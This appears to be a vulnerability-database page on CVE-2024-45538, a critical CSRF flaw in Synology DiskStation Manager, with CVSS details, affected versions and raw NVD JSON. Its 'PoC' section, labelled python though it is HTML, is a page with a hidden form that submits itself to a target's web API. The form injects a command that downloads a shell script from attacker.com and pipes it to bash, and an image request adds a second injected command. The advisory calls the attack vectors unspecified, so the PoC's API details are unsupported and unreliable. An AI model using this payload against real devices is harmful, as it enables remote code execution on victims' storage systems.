Security Vulnerability Report
中文
CVE-2024-45538 CVSS 9.6 CRITICAL

CVE-2024-45538

Published: 2025-12-04 15:15:54
Last Modified: 2025-12-05 21:44:22

Description

Cross-Site Request Forgery (CSRF) vulnerability in WebAPI Framework in Synology DiskStation Manager (DSM) before 7.2.1-69057-2 and 7.2.2-72806 and Synology Unified Controller (DSMUC) before 3.1.4-23079 allows remote attackers to execute arbitrary code via unspecified vectors.

CVSS Details

CVSS Score
9.6
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:o:synology:diskstation_manager:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:synology:diskstation_manager:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:synology:diskstation_manager_unified_controller:*:*:*:*:*:*:*:* - VULNERABLE
Synology DiskStation Manager (DSM) < 7.2.1-69057-2
Synology DiskStation Manager (DSM) < 7.2.2-72806
Synology Unified Controller (DSMUC) < 3.1.4-23079

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- CVE-2024-45538 CSRF PoC for Synology DSM --> <!-- This PoC demonstrates how an attacker can exploit CSRF to execute arbitrary commands --> <!DOCTYPE html> <html> <head> <title>Synology DSM CSRF Exploit - CVE-2024-45538</title> <style> body { font-family: Arial, sans-serif; padding: 20px; } .exploit-form { display: none; } </style> </head> <body> <h1>Synology DSM WebAPI CSRF Exploitation</h1> <p>Target: Synology DiskStation Manager (DSM) < 7.2.1-69057-2 or < 7.2.2-72806</p> <!-- Auto-submit form for CSRF attack --> <form id="csrfForm" class="exploit-form" action="https://TARGET_IP:5001/webapi/entry.cgi" method="POST" enctype="multipart/form-data"> <!-- API method to execute commands --> <input type="hidden" name="api" value="SYNO.Core.Desktop.DSM4" /> <input type="hidden" name="method" value="run" /> <input type="hidden" name="version" value="1" /> <input type="hidden" name="mode" value="exec" /> <!-- Malicious command injection --> <input type="hidden" name="command" value="$(curl http://attacker.com/shell.sh|bash)" /> <!-- Generate session token (if needed) --> <input type="hidden" name="SynoToken" value="" /> </form> <script> // Auto-submit the form on page load document.addEventListener('DOMContentLoaded', function() { // Add delay to ensure form is ready setTimeout(function() { document.getElementById('csrfForm').submit(); }, 1000); }); // Alternative: Image-based CSRF trigger var img = new Image(); img.src = 'https://TARGET_IP:5001/webapi/entry.cgi?api=SYNO.Core.Desktop.DSM4&method=run&version=1&command=$(whoami)'; </script> <p>If exploitation succeeds, the command will be executed with admin privileges.</p> </body> </html>

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2024-45538", "sourceIdentifier": "[email protected]", "published": "2025-12-04T15:15:54.290", "lastModified": "2025-12-05T21:44:21.507", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Cross-Site Request Forgery (CSRF) vulnerability in WebAPI Framework in Synology DiskStation Manager (DSM) before 7.2.1-69057-2 and 7.2.2-72806 and Synology Unified Controller (DSMUC) before 3.1.4-23079 allows remote attackers to execute arbitrary code via unspecified vectors."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H", "baseScore": 9.6, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 6.0}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-352"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:synology:diskstation_manager:*:*:*:*:*:*:*:*", "versionStartIncluding": "7.2.1-69057", "versionEndExcluding": "7.2.1-69057-2", "matchCriteriaId": "8A71CCD8-D16A-482E-80AC-B0E7E93591E2"}, {"vulnerable": true, "criteria": "cpe:2.3:o:synology:diskstation_manager:*:*:*:*:*:*:*:*", "versionStartIncluding": "7.2.2-72803", "versionEndExcluding": "7.2.2-72806", "matchCriteriaId": "E954B1FD-7E72-41F6-A80A-C1EEB30F0A54"}, {"vulnerable": true, "criteria": "cpe:2.3:o:synology:diskstation_manager_unified_controller:*:*:*:*:*:*:*:*", "versionStartIncluding": "3.1-23028", "versionEndExcluding": "3.1.4-23079", "matchCriteriaId": "6BAB44D0-881B-4177-BCE2-04C0CEF17C38"}]}]}], "references": [{"url": "https://www.synology.com/en-global/security/advisory/Synology_SA_24_27", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}